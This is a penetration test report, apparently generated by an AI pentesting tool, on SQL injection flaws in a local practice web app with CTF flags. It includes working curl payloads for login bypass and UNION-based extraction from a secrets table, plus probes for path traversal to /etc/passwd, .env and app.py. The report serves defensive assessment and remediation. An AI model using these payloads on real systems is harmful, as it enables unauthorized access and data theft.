XALGORIX

Penetration Test Report

Target

http://127.0.0.1:8088

Date: May 1, 2026

Scan ID: 127.0.0.1_8088_b00d9ed5

Generated by Xalgorix - Autonomous AI-Powered Pentesting Engine

Executive Summary

Total Vulnerabilities	Critical	High
2	1	1

Medium	Low	Info
0	0	0

Scan Details

Target	http://127.0.0.1:8088
Status	FINISHED
Duration	55m 57s
Iterations	542
Tool Calls	571
Total Tokens	17190188
Started	2026-05-01 13:17:26 MSK
Finished	2026-05-01 14:13:23 MSK

Vulnerability Details

#1 SQL Injection in /login5 Endpoint Leading to Full Database Compromise

HIGH

Verified via: EXPLOITED

CVSS: 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N Method: GET

ENDPOINT

```
/login5
```

DESCRIPTION

The /login5 endpoint is vulnerable to SQL injection via the 'user' parameter. This allows attackers to extract sensitive data from the database, including the flag stored in the 'secrets' table. The vulnerability exists because user input is directly concatenated into the SQL query without sanitization or parameterization.

IMPACT

An attacker can fully compromise the database by extracting sensitive information, bypassing authentication, and accessing confidential data stored in the application's database.

TECHNICAL ANALYSIS

The application uses vulnerable SQL query construction with direct user input concatenation. The error messages reveal the database type (SQLite) and the query structure. The application returns JSON responses that can be manipulated through SQL injection payloads to extract data through UNION-based attacks.

PROOF OF CONCEPT

1. Send a SQL injection payload to the 'user' parameter that creates a UNION SELECT statement
2. Extract table information from sqlite_master to discover database structure
3. Extract data from the 'secrets' table to obtain the flag
4. The vulnerability is exploitable without authentication and requires no user interaction

POC SCRIPT

```
curl -s "http://127.0.0.1:8088/login5?user=admin' AND 1=0 UNION SELECT label,value FROM secrets--&pass=test"
```

EXPLOITATION PROOF

```
Extracted data from database: FLAG{login1-error-based-mysql-style}
```

REMEDIATION

1. Replace string concatenation with parameterized queries using prepared statements
2. Implement input validation and sanitization for all user inputs
3. Use an ORM framework that automatically handles parameterization
4. Implement WAF rules to detect and block SQL injection attempts
5. Configure proper error handling to avoid exposing database information
6. Apply the principle of least privilege to database accounts

#2 Multiple SQL Injection Vulnerabilities Leading to Authentication Bypass

CRITICAL

Verified via: EXPLOITED

CVSS: 9.8 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H Method: POST, GET

ENDPOINT

```
/login1, /login2, /login5
```

DESCRIPTION

The application contains multiple SQL injection vulnerabilities across its login endpoints. These vulnerabilities allow attackers to bypass authentication, access unauthorized data, and potentially extract sensitive information from the database.

IMPACT

Authentication bypass, unauthorized access to user accounts, potential data exfiltration from the database

TECHNICAL ANALYSIS

The application contains multiple SQL injection vulnerabilities in its login endpoints. The vulnerabilities are caused by insufficient input sanitization and parameterized query implementation. Attackers can inject malicious SQL code into login forms, bypass authentication, and extract data from the database.

PROOF OF CONCEPT

1. For /login1: Send POST request with username=admin' OR '1'='1'--&password=test
2. For /login2: Send POST request with JSON body {"username":"admin' OR '1'='1'--","password":"test"}
3. For /login5: Send GET request with UNION-based SQL injection payloads to extract data

POC SCRIPT

```
curl -X POST http://127.0.0.1:8088/login1 -d "username=admin' OR '1'='1'--&password=test"

curl -X POST http://127.0.0.1:8088/login2 -H "Content-Type: application/json" -d '{"username":"admin'\'' OR
'\''1'\''='\''1'\''--","password":"test"}'

curl
"http://127.0.0.1:8088/login5?user=admin%27%20AND%201=0%20UNION%20SELECT%20label,value%20FROM%20secrets%20LIMIT%201%
20OFFSET%200--&pass=test"
```

EXPLOITATION PROOF

```
Successfully exploited SQL injection in multiple login endpoints:
1. /login1: username=admin' OR '1'='1'--&password=test returns "Welcome, admin"
2. /login2: POST JSON {"username":"admin' OR '1'='1'--","password":"test"} returns {"ok":true}
3. /login5: UNION-based SQL injection extracted multiple flags from the database:
   - FLAG{login1-error-based-mysql-style}
   - FLAG{login2-json-boolean-blind}
   - FLAG{login3-csrf-protected-form}
   - FLAG{login5-get-param-easy}
```

REMEDIATION

1. Use parameterized queries (prepared statements) for all database operations
2. Implement input validation and sanitization
3. Use ORM frameworks that handle parameterization automatically
4. Implement proper error handling to avoid exposing database errors to users
5. Regular security audits and penetration testing

Tested Endpoints & URLs

- http://127.0.0.1:8088
- http://127.0.0.1:8088/login1
- http://127.0.0.1:8088/robots.txt
- http://127.0.0.1:8088/login5?user=admin
- http://127.0.0.1:8088/static/
- http://127.0.0.1:8088/static/../../../app.py
- http://127.0.0.1:8088/..%2f..%2f..%2fapp.py
- http://127.0.0.1:8088/app.py
- http://127.0.0.1:8088/.git/config
- http://127.0.0.1:8088/login2
- http://127.0.0.1:8088/login4?username=admin
- http://127.0.0.1:8088/login4?username=admin&password=test
- http://127.0.0.1:8088/login4
- http://127.0.0.1:8088/docs
- http://127.0.0.1:8088/static/../../../etc/passwd
- http://127.0.0.1:8088/static/../../app.py
- http://127.0.0.1:8088/static/../../app.db
- http://127.0.0.1:8088/admin
- http://127.0.0.1:8088/__debugger__
- http_code
- http://127.0.0.1:8088/api
- http://127.0.0.1:8088/openapi.json
- http://127.0.0.1:8088/../../app.py
- http://127.0.0.1:8088/..%2f..%2fapp.py
- http://127.0.0.1:8088/.env
- http://127.0.0.1:8088/../../../app.py
- http://127.0.0.1:8088/FUZZ
- http://127.0.0.1:8088/database.db
- http://127.0.0.1:8088/proc/self/environ

Disclaimer

This penetration test was conducted by Xalgorix, an autonomous AI-powered security assessment tool. The findings in this report are based on automated testing and manual verification where possible.

IMPORTANT NOTICES:

* Scope: This assessment was limited to the target systems explicitly listed in this report. Any systems or services outside the defined scope were not tested.

* False Positives: While Xalgorix attempts to verify findings before reporting, some findings may require manual validation. We recommend validating all critical and high-severity findings before taking remediation actions.

* Limitations: Automated testing cannot discover all vulnerabilities. Manual testing, code review, and other complementary security activities are recommended for comprehensive security coverage.

* Legal: This assessment was conducted with authorization from the target owner. Unauthorized security testing is illegal. Ensure you have proper authorization before testing any system.

* Report Accuracy: This report is provided "as is" without warranties of any kind. The testing methodology and findings are based on the tools and techniques available at the time of testing.

* Remediation: For any vulnerabilities found, follow industry best practices for remediation. Consult with security professionals for complex vulnerabilities.

Generated by Xalgorix - Autonomous AI Pentesting Engine
https://github.com/xalgord/xalgorix